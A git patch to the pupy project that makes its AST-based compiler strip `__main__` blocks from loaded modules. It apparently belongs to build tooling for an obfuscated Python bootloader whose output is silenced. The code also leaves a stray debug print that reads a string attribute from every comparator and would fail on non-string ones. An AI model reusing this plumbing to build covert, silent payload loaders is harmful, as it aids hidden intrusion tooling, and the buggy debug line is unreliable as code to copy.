From 2515897d65f704eff27869908cd8eb40af442670 Mon Sep 17 00:00:00 2001
From: Oleksii Shevchuk <alxchk@gmail.com>
Date: Thu, 1 Feb 2018 16:27:20 +0200
Subject: [PATCH] Try to compile out __main__ statement from loaded modules

---
 client/gen_python_bootloader.py |  2 +-
 pupy/pupylib/PupyCompile.py     | 14 +++++++++++---
 2 files changed, 12 insertions(+), 4 deletions(-)

diff --git a/client/gen_python_bootloader.py b/client/gen_python_bootloader.py
index fb9f1ac0..216377bd 100644
--- a/client/gen_python_bootloader.py
+++ b/client/gen_python_bootloader.py
@@ -68,7 +68,7 @@ if __name__=="__main__":
     with open(os.path.join('..','additional_imports.py')) as f:
         preload = f.read()
 
-    pupyimporter = pupycompile(pupyimporter, raw=True, debug=args.debug)
+    pupyimporter = pupycompile(pupyimporter, raw=True, debug=args.debug, main=True)
 
     if not args.debug:
         print 'Generate bootloader with blackholed stderr/stdout'
diff --git a/pupy/pupylib/PupyCompile.py b/pupy/pupylib/PupyCompile.py
index 413f396e..e759ae1e 100644
--- a/pupy/pupylib/PupyCompile.py
+++ b/pupy/pupylib/PupyCompile.py
@@ -5,12 +5,14 @@ import marshal
 import logging
 
 class Compiler(ast.NodeTransformer):
-    def __init__(self, data, path=False):
+    def __init__(self, data, path=False, main=False):
         source = data
         if path:
             with open(data) as src:
                 source = src.read()
 
+        self._main = main
+
         ast.NodeTransformer.__init__(self)
         self._source_ast = ast.parse(source)
 
@@ -39,6 +41,12 @@ class Compiler(ast.NodeTransformer):
     def visit_If(self, node):
         if hasattr(node.test, 'id') and node.test.id == '__debug__':
             return node.orelse
+        if not self._main and type(node.test) == ast.Compare and type(node.test.left) == ast.Name \
+          and node.test.left.id == '__name__':
+          for comparator in node.test.comparators:
+              print comparator, type(comparator), comparator, comparator.s
+              if type(comparator) == ast.Str and comparator.s == '__main__':
+                  return node.orelse
         elif hasattr(node.test, 'operand') and type(node.test.op) == ast.Not \
           and type(node.test.operand) == ast.Name and node.test.operand.id == '__debug__':
             return node.body
@@ -55,10 +63,10 @@ class Compiler(ast.NodeTransformer):
 
         return node
 
-def pupycompile(data, filename='', path=False, obfuscate=False, raw=False, debug=False):
+def pupycompile(data, filename='', path=False, obfuscate=False, raw=False, debug=False, main=False):
     if not debug:
         logging.info('[PC] "{}"'.format(data if path else filename))
-        data = Compiler(data, path).compile(filename, obfuscate, raw)
+        data = Compiler(data, path, main).compile(filename, obfuscate, raw)
     else:
         source = data
         if path: